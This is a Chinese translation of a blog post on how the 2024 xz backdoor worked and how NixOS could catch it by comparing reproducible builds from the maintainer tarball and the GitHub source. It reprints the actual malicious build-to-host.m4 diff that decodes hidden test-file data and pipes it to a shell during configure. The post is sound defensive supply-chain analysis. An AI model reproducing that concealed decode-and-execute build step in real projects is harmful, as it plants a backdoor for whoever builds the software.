Julien Malka aka luj 菜单

NixOS 和可复现构建如何为了所有人的利益检测到 xz 后门 发布于 2025-03-20 预计阅读时间:22 分钟

介绍

2024 年 3 月,在 xz 中发现了一个后门,xz 是一种(解)压缩软件,通常在 Linux 发行版的核心中使用,用于解压缩打包软件的源代码 tarball。该后门是由一位化名为 Jia Tan 的恶意维护者经过三年时间秘密插入的。 这一事件震惊了开源社区,因为这次攻击具有巨大的影响(它允许在所有受影响的安装了 ssh 的机器上进行_远程代码执行_),而且极难检测。 事实上,幸亏 Andres Freund(一位在 Microsoft 工作的 Postgres 开发者)的勤奋(或许还有运气)才避免了这场灾难:他在调查 ssh 中看似无关的 500 毫秒性能衰退时,发现了 liblzma 库的问题,并识别和记录了后门。

虽然已经确定开源供应链经常成为恶意行为者的目标,但令人震惊的是 Jia Tan 投入了大量的精力来获得 xz 项目维护者的信任,获得仓库的推送权限,然后进行完美合法的贡献,最终一点一点地插入一段非常复杂和混淆的后门代码。 这应该给 OSS 社区敲响警钟。 我们应该将开源供应链视为强大威胁行为者的高价值目标,并共同找到应对此类攻击的对策。

在本文中,我将讨论 xz 后门的内部工作原理,以及我认为我们如何通过构建可复现性来机械地检测到它。

攻击是如何运作的?

后门的主要目的是通过劫持 ssh 程序来允许目标上的_远程代码执行_。 为此,它替换了 ssh 的某些函数的行为(最重要的是 RSA_public_decrypt 函数),以便当使用某些特定的 RSA 密钥登录时,攻击者可以在受害者的机器上执行任意命令。 以下两个主要部分组合在一起以安装和激活后门:

  1. 一个脚本,用于解混淆和安装一个恶意目标文件,作为 xz 构建过程的一部分。 有趣的是,后门并没有完全包含在 xz 的源代码中。 相反,恶意组件仅包含在由恶意维护者 Jia Tan 构建和签名的 tarball 中,并与 xz5.6.05.6.1 版本一起发布。 这次额外的发布 tarball 包含细微和伪装的修改,用于从 .xz 文件中提取恶意目标文件,这些文件用作存储库中包含的某些测试的数据。
  2. 一个钩住 RSA_public_decrypt 函数的过程。 后门使用 glibcifunc 机制来修改 RSA_public_function 的地址,当 ssh 加载时,以防 ssh 通过 libsystemd 链接到 liblzma

信息 本节的其余部分将详细介绍上述两个步骤。 阅读它对于理解本文的其余部分不是必需的。 这里最重要的收获是,后门仅在使用维护者提供的发布 tarball 时才处于活动状态。

1. 一个脚本,用于解混淆和安装一个恶意目标文件,作为 xz 构建过程的一部分

如上所述,恶意目标文件直接存储在 xz 的 git 存储库中,隐藏在一些测试文件中。 该项目是一个解压缩软件,测试用例包括要解压缩的 .xz 文件,这使得可以将一些机器代码隐藏到伪造的测试文件中; 后门在 git 存储库中包含的代码中不活动,它仅通过从项目发布的 tarball 构建 xz 来包含,这与存储库的实际内容有一些差异,最重要的是在 m4/build-to-host.m4 文件中。

diff --git a/m4/build-to-host.m4 b/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
 dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],
  dnl Define somedir_c.
  gl_final_[$1]="$[$1]"
+ gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
  dnl Translate it from build syntax to host syntax.
  case "$build_os" in
   cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
  if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
   [$1]_c_make='\"$([$1])\"'
  fi
+ if test "x$gl_am_configmake" != "x"; then
+  gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+ else
+  gl_[$1]_config=''
+ fi
+ _LT_TAGDECL([], [gl_path_map], [2])dnl
+ _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+ _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+ _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+ _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
  AC_SUBST([$1_c_make])
+
+ dnl If the host conversion code has been placed in $gl_config_gt,
+ dnl instead of duplicating it all over again into config.status,
+ dnl then we will have config.status run $gl_config_gt later, so it
+ dnl needs to know what name is stored there:
+ AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])
 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+ dnl Search for Automake-defined pkg* macros, in the order
+ dnl listed in the Automake 1.10a+ documentation.
+ gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+ if test -n "$gl_am_configmake"; then
+  HAVE_PKG_CONFIGMAKE=1
+ else
+  HAVE_PKG_CONFIGMAKE=0
+ fi
+
  gl_sed_double_backslashes='s/\\/\\\\/g'
  gl_sed_escape_doublequotes='s/"/\\"/g'
+ gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
  gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl

虽然这些更改对于天真的眼睛来说可能看起来是良性的并且有很好的注释,但它们实际上隐藏了一系列命令,这些命令解密/解混淆了几个伪造的 .xz 测试文件,最终生成两个文件:

Russ Cox 有一个优秀的分析,详细解释了在构建过程中如何生成这两个恶意资源,我建议任何感兴趣的读者在那里找到所有相关详细信息。

在构建期间运行的 shell 脚本有两个主要目的:

  1. 验证构建器上是否满足执行后门的条件(后门针对特定的 Linux 发行版,需要激活 glibc 的特定功能,需要安装 ssh 等);
  2. 修改(合法的)liblzma_la-crc64_fast.o 以使用在后门目标文件中定义的 _get_cpuid 符号。

2. 一个钩住 RSA_public_decrypt 函数的过程

那么,xz 可执行文件中的后门如何对 ssh 产生任何影响? 为了理解这一点,我们必须稍微绕道进入动态加载器和动态链接程序的领域。 每当一个程序依赖于一个库时,有两种方法可以将该库链接到最终的可执行文件中:

当使用动态链接编译程序时,属于动态链接库的符号的地址无法在编译时提供:它们在内存中的位置事先不知道! 相反,插入了对_全局偏移表_(或 GOT)的引用。 当程序启动时,实际地址由动态链接器填充到 GOT 中。

xz 后门使用 glibc 的一个称为 ifunc 的功能,以强制在动态加载时执行代码:ifunc 设计用于允许在动态加载时在同一函数的几个实现之间进行选择。

#include <stdio.h>
// Declaration of ifunc resolver function
int (*resolve_add(void))(int, int);
// First version of the add function
int add_v1(int a, int b) {
  printf("Using add_v1\n");
  return a + b;
}
// Second version of the add function
int add_v2(int a, int b) {
  printf("Using add_v2\n");
  return a + b;
}
// Resolver function that chooses the correct version of the function
int (*resolve_add(void))(int, int) {
  // You can implement any runtime check here.
  // In that case we check if the system is 64bit
  if (sizeof(void*) == 8) {
    return add_v2;
  } else {
    return add_v1;
  }
}
// Define the ifunc attribute for the add function
int add(int a, int b) __attribute__((ifunc("resolve_add")));
int main() {
  int result = add(10, 20);
  printf("Result: %d\n", result);
  return 0;
}

在上面的例子中,围绕 add 函数的 ifunc 属性表明将要执行的版本将在动态加载时通过运行 resolve_add 函数来确定。 在这种情况下,resolve_add 函数根据运行系统是否为 64 位系统返回 add_v1add_v2 - 因此是完全无害的 - 但 xz 后门使用这种技术在动态加载时运行一些恶意代码。

但是哪个程序的动态加载? 嗯,是 ssh 的! 在一些 Linux 发行版(例如 Debian 和 Fedora)中,ssh 已被修补以支持 systemd 通知,为此,它与 libsystemd 链接,而 libsystemd 又与 liblzma 链接。 在这些发行版中,sshd 因此对 liblzma 具有传递依赖。

sshdliblzma 之间的依赖关系链

这就是后门的工作方式:每当执行 sshd 时,动态加载器都会加载 libsystemd,然后加载 liblzma。 安装后门并利用如上所述的 ifunc 功能,后门能够在加载 liblzma 时运行任意代码。 实际上,正如您从上一节中记得的那样,后门脚本修改了 xz 的一个合法目标文件:它实际上修改了使用 ifunc 调用其自己的恶意 _get_cpuid 符号的函数之一的解析器。 当调用时,此函数会干扰 GOT(此时尚未只读)以修改 RSA_public_decrypt 函数的地址,将其替换为恶意地址! 就是这样,此时 sshd 使用恶意的 RSA_public_decrypt 函数,该函数为攻击者提供 RCE 权限。

再一次,存在关于挂钩如何发生的更精确的报告,好奇的读者可能会阅读,例如这个报告。 还有一篇研究文章总结了攻击向量和可能的缓解措施,我建议阅读。

避免未来发生 xz 灾难

我们应该从这次险些发生的事件中吸取什么教训,我们应该怎么做才能最大限度地降低再次发生此类攻击的风险? 显然,关于这里涉及的社会问题有很多话要说1,以及我们如何能够在 OSS 生态系统中建立更好的弹性,以对抗恶意实体接管真正基本的 OSS 项目,但在本文中,我将仅讨论问题的技术方面。

人们通常确信 OSS 比闭源软件更值得信赖,因为从业者和安全专业人员可以审计代码,以便检测漏洞或后门。 在这种情况下,由于激活后门的部分代码未包含在 git 存储库中可用的源代码中,而是存在于维护者提供的 tarball 中,因此此过程变得困难。 虽然这用于将后门隐藏在大多数调查人员的视线之外,但这也为我们提供了一个改进软件供应链安全流程的机会。

从受信任的来源构建软件

我们可以对这个供应链事件做出一个直接的观察,那就是它之所以有效,仅仅是因为很多发行版使用维护者提供的 tarball 来构建 xz,而不是 git 代码仓库提供的原始源代码(在这种情况下,为 GitHub)。 这种对发布 tarball 的依赖有很多历史和实际原因:

话虽如此,我认为这些原因不足以证明它们带来的安全风险是合理的。 在技术上可行的所有地方,我们都应该从由最值得信赖的一方认证的来源构建软件。 例如,如果一个项目是在 GitHub 上开发的,则 GitHub 会为每个版本自动生成一个归档文件。 泄露该发布归档文件的风险远低于恶意维护者分发不忠实的 tarball 的风险,因为它需要泄露 GitHub 基础结构(此时问题会严重得多)。 这种推理可以扩展到在由受信任的第三方(例如 Codeberg/SourceHut/Gitlab 等)运营的平台上发生开发的所有情况。

当情况允许时...

NixOS 是一个建立在函数式包管理模型上的发行版,也就是说,每个包都被编码为用 Nix(一种函数式编程语言)编写的表达式。 软件项目的 Nix 表达式通常是将项目的所有依赖项映射到“构建配方”的函数,该配方稍后可以执行以构建软件包。 我是一名 NixOS 开发者,当后门被曝光后,我感到惊讶地看到恶意版本的 xz 最终被分发给了我们的用户2。 虽然没有关于此的策略,但在 NixOS 维护者中存在一种文化,即在通过 fetchFromGitHub 函数可用时,使用 GitHub 自动生成的源代码归档文件(这些归档文件只是源代码的快照)。 在下面的 xz 包的简化示例中,您可以看到包的源实际上是通过另一个源获取器 fetchurl 从手动上传的_恶意_维护者提供的 tarball 中提取的。

{ lib, stdenv, fetchurl
, enableStatic ? stdenv.hostPlatform.isStatic
}:
stdenv.mkDerivation rec {
 pname = "xz";
 version = "5.6.0";
 src = fetchurl {
  url = "https://github.com/tukaani-project/xz/releases/download/v${version}/xz-${version}.tar.xz";
  hash = "sha256-AWGCxwu1x8nrNGUDDjp/a6ol4XsOjAr+kncuYCGEPOI=";
 };
...
}

要理解原因,我们必须首先讨论 nixpkgs 的引导。 引导的概念是指人们可以从一小部分种子二进制文件重建 nixpkgs 中的所有软件包。 这是一个重要的安全属性,因为它意味着为了信任用于构建软件发行版的工具链,人们不必信任任何其他外部工具。 我们在像 nixpkgs 这样的软件发行版的上下文中称为“引导”的是构建基本编译环境所需的所有步骤,该环境供其他软件包使用,在 nixpkgs 中称为 stdenv。 构建 stdenv 不是一件容易的事; 当人们甚至没有 C 编译器时,如何构建 gcc? 答案是从一个非常小的二进制文件开始,它不执行任何花哨的操作,但足以构建 hex(一个极简的汇编器),而它又可以构建一个更复杂的汇编器,直到我们能够构建更复杂的软件,最终构建一个现代 C 编译器。 Nix/Guix 的引导故事是一个非常有趣的话题,我不会在这里广泛介绍,但我强烈建议阅读来自 Guix 社区的博客文章,它们处于最前沿(它们引入了一个 357 字节的引导,该引导正在为 nixpkgs 调整)。

但是所有这些与 xz 有什么关系呢? 嗯,xz 包含在 nixpkgs 引导中!

$ nix-build -A stdenv
/nix/store/91d27rjqlhkzx7mhzxrir1jcr40nyc7p-stdenv-linux
$ nix-store --query --graph result

我们现在可以看到 stdenv 在运行时依赖于 xz,因此它确实是在引导阶段构建的。 为了更好地理解为什么会这样,我还将生成 stdenv 中在构建时依赖于 xz 的软件图。

$ nix-store --query --graph $(nix-eval --raw -f default stdenv.drvPath)

我们可以看到有几个软件包依赖于 xz。 让我们以 coreutils 为例,并通过读取其派生文件来尝试理解为什么它依赖于 xz,派生文件是通过评估 coreutils 的 Nix 表达式获得的构建过程的中间表示:

{
 "/nix/store/57hlz5fnvfgljivf7p18fmcl1yp6d29z-coreutils-9.5.drv": {
  "args": [
   "-e",
   "/nix/store/v6x3cs394jgqfbi0a42pam708flxaphh-default-builder.sh"
  ],
  "builder": "/nix/store/razasrvdg7ckplfmvdxv4ia3wbayr94s-bootstrap-tools/bin/bash",
   ...
  "inputDrvs": {
   ...
   "/nix/store/c0wk92pcxbxi7579xws6bj12mrim1av6-xz-5.6.2.drv": {
    "dynamicOutputs": {},
    "outputs": [
     "bin"
    ]
   },
   "/nix/store/xv4333kfggq3zn065a3pwrj7ddbs4vzg-coreutils-9.5.tar.xz.drv": {
    "dynamicOutputs": {},
    "outputs": [
     "out"
    ]
   }
  },
  ...
  "system": "x86_64-linux"
 }
}

此处的 inputDrvs 字段对应于 coreutils 构建过程所依赖的所有其他软件包或表达式。 我们特别看到它依赖于两个组件:

同样的推理适用于我们在前面的图中可以看到的其他三个直接依赖关系。

作为引导的一部分构建 xz 意味着它无法访问 nixpkgs 中普通软件包可以依赖的所有工具。 特别是,它只能访问在引导中_之前_构建的软件包。 例如,要从源代码构建 xz,我们需要 autoconf 来生成配置脚本。 但是 autoconf 依赖于 xz! 使用维护者 tarball 允许我们打破这个依赖循环。

$ nix why-depends --derivation nixpkgs#autoconf nixpkgs#xz
/nix/store/2rajzdx3wkivlc38fyhj0avyp10k2vjj-autoconf-2.72.drv
└───/nix/store/jnnb5ihdh6r3idmqrj2ha95ir42icafq-stdenv-linux.drv
  └───/nix/store/sqwqnilfwkw6p2f5gaj6n1xlsy054fnw-xz-5.6.4.drv

总之,在构建 xz 软件包的 nixpkgs 图中,GitHub 源代码存档无法使用,我们必须依赖维护者提供的 tarball,因此必须信任它。 但这并不意味着无法在 nixpkgs 中实施进一步的验证...

在不受信任的发布 tarball 中构建信任

回顾一下,使 NixOS 容易受到 xz 攻击的主要原因是它是作为引导阶段的一部分构建的,此时我们依赖于维护者提供的 tarball,而不是 GitHub 生成的 tarball。 这一事件表明,我们应该采取特定的保护措施,以确保作为引导一部分构建的软件是值得信赖的。

1. 通过比较来源

想到的一个想法是,作为一个发行版,应该很容易验证我们使用的源代码 tarball 确实与 GitHub 上的相同。 甚至有人打开了一个 pull request 以引入这种保护方案。 虽然这似乎是一个很自然的想法,但它在实践中并不真正有效:维护者提供的 tarball 与源代码不同的情况并不少见,而且通常没有什么可担心的。

Post by @bagder@mastodon.social View on Mastodon

正如 Daniel Stenberg(curl 的维护者)所解释的那样,发布 tarball 与源代码不同是一种_特性_:它允许维护者包含中间工件,如 manpage 或配置脚本(这对于想要摆脱对 autoconf 的依赖来构建程序的发行版特别有用)。 当然,当我们关心软件供应链安全时,项目维护者在提供发布资产的方式上的这种灵活性实际上是一种责任,因为它迫使我们信任他们诚实地这样做。

2. 利用按位可复现性

可复现构建 是软件项目的一个属性,如果以相同的条件构建两次,则会产生完全相同(按位相同)的工件,则可以验证该属性。 构建可复现性不是一件容易的事,因为构建过程中可能发生各种不确定性,并且使尽可能多的软件包可复现是 reproducible-builds 组的目的。 它也是一个被认为是增加对二进制工件分发的信任的工具的属性(有关详细报告,请参见可复现构建:提高软件供应链的完整性)。

有几种方法可以使用按位可复现性来建立对不受信任的维护者提供的 tarball 的信任:

  1. 可复现地构建 tarball

PostgreSQL 项目采用的第一种方法是使 tarball 生成过程可复现。 这允许任何用户(或 Linux 发行版)独立验证维护者提供的 tarball 是否是从原始源代码诚实生成的。

使用此方法,您可以保留从 tarball 构建的一些优点(包括包含一些中间构建工件(如 manpage 或配置脚本)的 tarball)。 但是,对于软件供应链安全,这种方法的缺点是它必须由上游项目维护者实施。 这意味着在 FOSS 社区中采用这种安全功能的可能会很慢,虽然使_所有事物_可复现(包括 tarball 生成过程)是一种很好的做法,但这并不是_今天_提高软件供应链安全性的最有效方法。

  1. 检查各种起始资产之间的构建收敛

信息 这部分是关于我认为 NixOS 如何能够检测到 xz 攻击,即使 xz 是作为 NixOS 引导阶段的一部分构建的。

假设 xz 是按位可复现的(事实确实如此),并且维护者提供的 tarball 不包含任何影响构建过程的修改,那么从 GitHub tarball 或维护者提供的 tarball 构建它_应该_产生相同的工件,对吧? 基于这个想法,我的建议是在引导_之后_第二次构建 xz,这次使用 GitHub tarball(只有在引导之后才有可能)。 如果两个构建不同,我们可以怀疑存在供应链泄露。

我提出的检测易受攻击的 xz 源代码 tarball 的方法的摘要

让我们看看如何实现这一点:

首先,我们重写 xz 软件包,这次使用 fetchFromGitHub 函数。 我在 nixpkgspkgs/tools/compression/xz 目录中的原始 xz 表达式旁边创建了一个 after-boostrap.nix 文件:

 {
 lib,
 stdenv,
 fetchurl,
 enableStatic ? false,
 writeScript,
 fetchFromGitHub,
 testers,
 gettext,
 autoconf,
 libtool,
 automake,
 perl538Packages,
 doxygen,
 xz,
}:
stdenv.mkDerivation (finalAttrs: {
 pname = "xz";
 version = "5.6.1";
 src = fetchFromGitHub {
  owner = "tukaani-project";
  repo = "xz";
  rev = "v${finalAttrs.version}";
  hash = "sha256-alrSXZ0KWVlti6crmdxf/qMdrvZsY5yigcV9j6GIZ6c=";
 };
 strictDeps = true;
 configureFlags = lib.optional enableStatic "--disable-shared";
 enableParallelBuilding = true;
 doCheck = true;
 nativeBuildInputs = [
  gettext
  autoconf
  libtool
  automake
  perl538Packages.Po4a
  doxygen
  perl
 ];
 preConfigure = ''
  ./autogen.sh
 '';
})

我在这里删除了详细信息以关注最重要的部分:Nix 表达式与 xz 的实际派生非常相似,唯一的区别(除了获取源代码的方法之外)是我们需要使用 autoconf 来生成配置脚本。 当使用维护者提供的 tarball 时,这些脚本已经为我们预先生成(正如 Daniel Stenberg 在上面的 toot 中所解释的那样) - 这在你正在构建发行版的引导阶段的 xz 并且你不想要依赖于 autoconf / automake 时特别方便 - 但在这种情况下,我们必须自己完成。

现在我们可以从 GitHub 提供的代码归档文件中构建 xz,我们必须编写 Nix 代码来比较两个输出。 为此,我们注册了一个名为 compareArtifacts 的新阶段,该阶段在构建过程的最后运行。 为了说明我的观点,我首先只比较 liblzma.so 文件(后门修改的文件),但我们可以轻松地将此阶段推广到所有二进制文件和库输出:

postPhases = [ "compareArtifacts" ];
compareArtifacts = ''
 diff $out/lib/liblzma.so ${xz.out}/lib/liblzma.so
'';

经过此更改后,在 master3 上构建 xz-after-bootstrap 仍然有效,表明在正常设置中,两个工件确实相同。

$ nix-build -A xz-after-bootstrap
/nix/store/h23rfcjxbp1vqmmbvxkv0f69r579kfc1-xz-5.6.1

现在让我们在后门 xz 上尝试我们的检测方法,看看会发生什么! 我们检出包含所述版本的修订版 c53bbe34,并构建 xz-after-bootstrap

$ git checkout c53bbe3
$ nix-build -A xz-after-boostrap
/nix/store/57p62d3m98s2bgma5hcz12b4vv6nhijn-xz-5.6.1

再次,相同的工件? 请记住,后门在 NixOS 中不活动,部分原因是有一个检查 RPM_ARCH 变量是否在安装后门的脚本中设置。 因此,让我们在 pkgs/tools/compression/xz/default.nix 中设置它以激活后门5

env.RPM_ARCH = true;
$ nix-build -A xz-after-boostrap
/nix/store/57p62d3m98s2bgma5hcz12b4vv6nhijn-xz-5.6.1
...
...
Running phase: compareBins
Binary files /nix/store/cxz8iq3hx65krsyraill6figp03dk54n-xz-5.6.1/lib/liblzma.so and /nix/store/4qp2khyb22hg6a3jiy4hqmasjinfkp2g-xz-5.6.1/lib/liblzma.so differ

就是这样,现在二进制工件不同了! 让我们尝试通过将它们保留为输出的一部分来更好地了解是什么使它们不同。 为此,我们修改 compareArtifacts 阶段:

compareArtifacts = ''
 cp ${xz.out}/lib/liblzma.so $out/xzBootstrap
 cp $out/lib/liblzma.so $out/xzAfterBootstrap
 diff $out/lib/liblzma.so ${xz.out}/lib/liblzma.so || true
'';

这次 diff 不会使构建失败,我们存储两个版本的 liblzma.so 以便以后能够比较它们。

$ ls -lah result
total 69M
dr-xr-xr-x   6 root root   99 Jan 1 1970 .
drwxrwxr-t 365666 root nixbld 85M Dec 10 14:27 ..
dr-xr-xr-x   2 root root  4.0K Jan 1 1970 bin
dr-xr-xr-x   3 root root   32 Jan 1 1970 include
dr-xr-xr-x   3 root root  103 Jan 1 1970 lib
dr-xr-xr-x   4 root root   31 Jan 1 1970 share
-r-xr-xr-x   1 root root  210K Jan 1 1970 xzAfterBootstrap
-r-xr-xr-x   1 root root  258K Jan 1 1970 xzBootstrap

我们可以注意到,两个工件之间甚至存在显着的大小差异,后门工件增加了 48Kb。 让我们尝试了解这种差异来自哪里。 我们可以使用 binutils 中的 nm 命令来列出工件中的符号:

$ nm result/xzAfterBootstrap
000000000000d3b0 t alone_decode
000000000000d380 t alone_decoder_end
000000000000d240 t alone_decoder_memconfig
0000000000008cc0 t alone_encode
0000000000008c90 t alone_encoder_end
0000000000008db0 t alone_encoder_init
0000000000020a80 t arm64_code
0000000000020810 t arm_code
0000000000020910 t armthumb_code
000000000000d8d0 t auto_decode
000000000000d8a0 t auto_decoder_end
000000000000